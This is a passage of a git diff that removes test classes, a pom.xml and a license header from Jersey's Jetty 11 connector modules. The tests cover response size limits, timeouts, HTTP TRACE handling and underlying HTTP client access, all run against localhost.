- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.net.URI;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * Default synchronous jetty client implementation has a hard response size limit of 2MiB.
- * When response is too big, a processing exception is thrown.
- * The original code path was left to preserve this behaviour but could be removed
- * and reworked in the future with a custom listener like async path.
- *
- * This tests the previous behavior with large payloads (>2MiB), the new size override (4MiB)
- * and very big payloads (>4MiB).
- *
- * @author cen1 (cen.is.imba at gmail.com)
- */
-public class SyncResponseSizeTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
-
-    private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
-
-    @Path("/test")
-    public static class TimeoutResource {
-
-        private static final byte[] data = new byte[maxBufferSize];
-
-        static {
-            Byte b = "a".getBytes()[0];
-            for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
-        }
-
-        @GET
-        @Path("/small")
-        public String getSmall() {
-            return "GET";
-        }
-
-        @GET
-        @Path("/big")
-        public String getBig() {
-            return new String(data);
-        }
-
-        @GET
-        @Path("/verybig")
-        public String getVeryBig() {
-            return new String(data) + "a";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testDefaultSmall() {
-        Response r = target("test/small").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testDefaultTooBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyConnectorProvider());
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/big").request().get();
-            fail("Exception expected.");
-        } catch (ProcessingException e) {
-            // Buffering capacity ... exceeded.
-            assertTrue(ExecutionException.class.isInstance(e.getCause()));
-            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testCustomBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyConnectorProvider());
-        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            Response r = t.path("test/big").request().get();
-            String p = r.readEntity(String.class);
-            assertEquals(p.length(), maxBufferSize);
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testCustomTooBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyConnectorProvider());
-        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/verybig").request().get();
-            fail("Exception expected.");
-        } catch (ProcessingException e) {
-            // Buffering capacity ... exceeded.
-            assertTrue(ExecutionException.class.isInstance(e.getCause()));
-            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
-        } finally {
-            c.close();
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
deleted file mode 100644
index cb8d0e2..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
+++ /dev/null
@@ -1,245 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.net.URI;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.DefaultValue;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.QueryParam;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.StreamingOutput;
-
-import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Disabled;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * @author Martin Matula
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class TimeoutTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
-
-    @Path("/test")
-    public static class TimeoutResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("timeout")
-        public String getTimeout() {
-            try {
-                Thread.sleep(2000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            return "GET";
-        }
-
-        /**
-         * Long-running streaming request
-         *
-         * @param count number of packets send
-         * @param pauseMillis pause between each packets
-         */
-        @GET
-        @Path("stream")
-        public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
-                @QueryParam("pauseMillis") int pauseMillis) {
-            StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
-
-            return Response.ok(streamingOutput)
-                    .build();
-        }
-    }
-
-    private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
-
-        return output -> {
-            try {
-                TimeUnit.MILLISECONDS.sleep(startMillis);
-            }
-            catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-            }
-            output.write("begin\n".getBytes(StandardCharsets.UTF_8));
-            output.flush();
-            for (int i = 0; i < count; i++) {
-                try {
-                    TimeUnit.MILLISECONDS.sleep(pauseMillis);
-                }
-                catch (InterruptedException e) {
-                    Thread.currentThread().interrupt();
-                }
-
-                output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
-                output.flush();
-            }
-            output.write("end".getBytes(StandardCharsets.UTF_8));
-        };
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testFast() {
-        Response r = target("test").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testSlow() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/timeout").request().get();
-            fail("Timeout expected.");
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testTimeoutInRequest() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig();
-        config.connectorProvider(new JettyConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
-            fail("Timeout expected.");
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    /**
-     * Test accessing an operation that is streaming slowly
-     *
-     * @throws ProcessingException in case of a test error.
-     */
-    @Test
-    @Disabled("Test fails with grizzly2 container") // TODO: evaluate, why this test fails with grizzly2
-    public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
-
-        int count = 5;
-        int pauseMillis = 50;
-
-        final Response response = target("test")
-                .property(ClientProperties.READ_TIMEOUT, 100L)
-                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                .path("stream")
-                .queryParam("count", count)
-                .queryParam("pauseMillis", pauseMillis)
-                .request().get();
-
-        assertTrue(response.readEntity(String.class).contains("end"));
-    }
-
-    @Test
-    public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
-
-        int count = 5;
-        int pauseMillis = 50;
-
-        try {
-            target("test")
-                .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
-                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                .path("stream")
-                .queryParam("count", count)
-                .queryParam("pauseMillis", pauseMillis)
-                .request().get();
-
-            fail("This operation should trigger total timeout");
-        } catch (ProcessingException e) {
-            assertEquals(TimeoutException.class, e.getCause().getClass());
-        }
-    }
-
-    /**
-     * Test accessing an operation that is streaming slowly
-     *
-     * @throws ProcessingException in case of a test error.
-     */
-    @Test
-    public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
-
-        int start = 150;
-        int count = 5;
-        int pauseMillis = 50;
-
-        try {
-            target("test")
-                    .property(ClientProperties.READ_TIMEOUT, 100L)
-                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                    .path("stream")
-                    .queryParam("start", start)
-                    .queryParam("count", count)
-                    .queryParam("pauseMillis", pauseMillis)
-                    .request().get();
-            fail("This operation should trigger idle timeout");
-        } catch (ProcessingException e) {
-            assertEquals(TimeoutException.class, e.getCause().getClass());
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
deleted file mode 100644
index a7661cb..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.List;
-import java.util.Map;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.HttpMethod;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Request;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.process.Inflector;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.model.Resource;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * This very basic resource showcases support of a HTTP TRACE method,
- * not directly supported by JAX-RS API.
- *
- * @author Marek Potociar
- */
-public class TraceSupportTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
-
-    /**
-     * Programmatic tracing root resource path.
-     */
-    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
-
-    /**
-     * Annotated class-based tracing root resource path.
-     */
-    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
-
-    @HttpMethod(TRACE.NAME)
-    @Target(ElementType.METHOD)
-    @Retention(RetentionPolicy.RUNTIME)
-    public @interface TRACE {
-        public static final String NAME = "TRACE";
-    }
-
-    @Path(ROOT_PATH_ANNOTATED)
-    public static class TracingResource {
-
-        @TRACE
-        @Produces("text/plain")
-        public String trace(Request request) {
-            return stringify((ContainerRequest) request);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TracingResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
-        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
-
-            @Override
-            public Response apply(ContainerRequestContext request) {
-                if (request == null) {
-                    return Response.noContent().build();
-                } else {
-                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
-                }
-            }
-        });
-
-        return config.registerResources(resourceBuilder.build());
-
-    }
-
-    private String[] expectedFragmentsProgrammatic = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
-    };
-    private String[] expectedFragmentsAnnotated = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
-    };
-
-    private WebTarget prepareTarget(String path) {
-        final WebTarget target = target();
-        target.register(LoggingFeature.class);
-        return target.path(path);
-    }
-
-    @Test
-    public void testProgrammaticApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsProgrammatic) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testAnnotatedApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsAnnotated) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testTraceWithEntity() throws Exception {
-        _testTraceWithEntity(false, false);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntity() throws Exception {
-        _testTraceWithEntity(true, false);
-    }
-
-    @Test
-    public void testTraceWithEntityJettyConnector() throws Exception {
-        _testTraceWithEntity(false, true);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
-        _testTraceWithEntity(true, true);
-    }
-
-    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
-        try {
-            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
-            target = target.path(ROOT_PATH_ANNOTATED);
-
-            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
-
-            Response response;
-            if (!isAsync) {
-                response = target.request().method(TRACE.NAME, entity);
-            } else {
-                response = target.request().async().method(TRACE.NAME, entity).get();
-            }
-
-            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
-        } catch (Exception e) {
-            // OK
-        }
-    }
-
-    private Client getJettyClient() {
-        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
-    }
-
-
-    public static String stringify(ContainerRequest request) {
-        StringBuilder buffer = new StringBuilder();
-
-        printRequestLine(buffer, request);
-        printPrefixedHeaders(buffer, request.getHeaders());
-
-        if (request.hasEntity()) {
-            buffer.append(request.readEntity(String.class)).append("\n");
-        }
-
-        return buffer.toString();
-    }
-
-    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
-        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
-    }
-
-    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
-        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
-            List<String> val = e.getValue();
-            String header = e.getKey();
-
-            if (val.size() == 1) {
-                buffer.append(header).append(": ").append(val.get(0)).append("\n");
-            } else {
-                StringBuilder sb = new StringBuilder();
-                boolean add = false;
-                for (String s : val) {
-                    if (add) {
-                        sb.append(',');
-                    }
-                    add = true;
-                    sb.append(s);
-                }
-                buffer.append(header).append(": ").append(sb.toString()).append("\n");
-            }
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
deleted file mode 100644
index 7802e45..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import org.glassfish.jersey.client.ClientConfig;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.junit.jupiter.api.Test;
-
-import static org.hamcrest.CoreMatchers.is;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertSame;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * Test of access to the underlying HTTP client instance used by the connector.
- *
- * @author Marek Potociar
- */
-public class UnderlyingHttpClientAccessTest {
-
-    /**
-     * Verifier of JERSEY-2424 fix.
-     */
-    @Test
-    public void testHttpClientInstanceAccess() {
-        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
-        final HttpClient hcOnClient = JettyConnectorProvider.getHttpClient(client);
-        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
-        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
-        // connector provider's static getHttpClient method above.
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
-
-        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
-        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
-        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
-                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
-    }
-
-    @Test
-    public void testGetProvidedClientInstance() {
-        final HttpClient httpClient = new HttpClient();
-        final ClientConfig clientConfig = new ClientConfig()
-                .connectorProvider(new JettyConnectorProvider())
-                .register(new JettyHttpClientSupplier(httpClient));
-        final Client client = ClientBuilder.newClient(clientConfig);
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
-
-        assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
-                httpClient, is(hcOnTarget));
-    }
-}
diff --git a/connectors/jetty11-http2-connector/pom.xml b/connectors/jetty11-http2-connector/pom.xml
deleted file mode 100644
index c3633ed..0000000
--- a/connectors/jetty11-http2-connector/pom.xml
+++ /dev/null
@@ -1,187 +0,0 @@
-<?xml version="1.0"?>
-<!--
-
-    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.connectors</groupId>
-        <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-jetty11-http2-connector</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-connectors-jetty11-http2</name>
-
-    <description>Jersey Client Transport via Jetty 11</description>
-
-    <properties>
-        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-    </properties>
-
-    <dependencyManagement>
-        <dependencies>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-client</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-util</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-alpn-conscrypt-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-client</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-http-client-transport</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-        </dependencies>
-    </dependencyManagement>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-client</artifactId>
-            <version>${jetty11.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-client</artifactId>
-            <version>${jetty11.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-http-client-transport</artifactId>
-            <version>${jetty11.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <version>${jetty11.version}</version>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-jetty11-connector</artifactId>
-            <version>${project.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-jaxb</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-jetty11-http2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>http2-server</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-json-jackson</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-jetty11-http2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-            <dependency>
-                <groupId>com.sun.xml.bind</groupId>
-                <artifactId>jaxb-osgi</artifactId>
-                <scope>test</scope>
-            </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-compiler-plugin</artifactId>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <configuration>
-                    <instructions>
-                        <Import-Package>
-                            ${jetty.osgi.version},
-                            *
-                        </Import-Package>
-                    </instructions>
-                </configuration>
-            </plugin>
-        </plugins>
-    </build>
-
-</project>
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
deleted file mode 100644
index 454efd0..0000000
--- a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
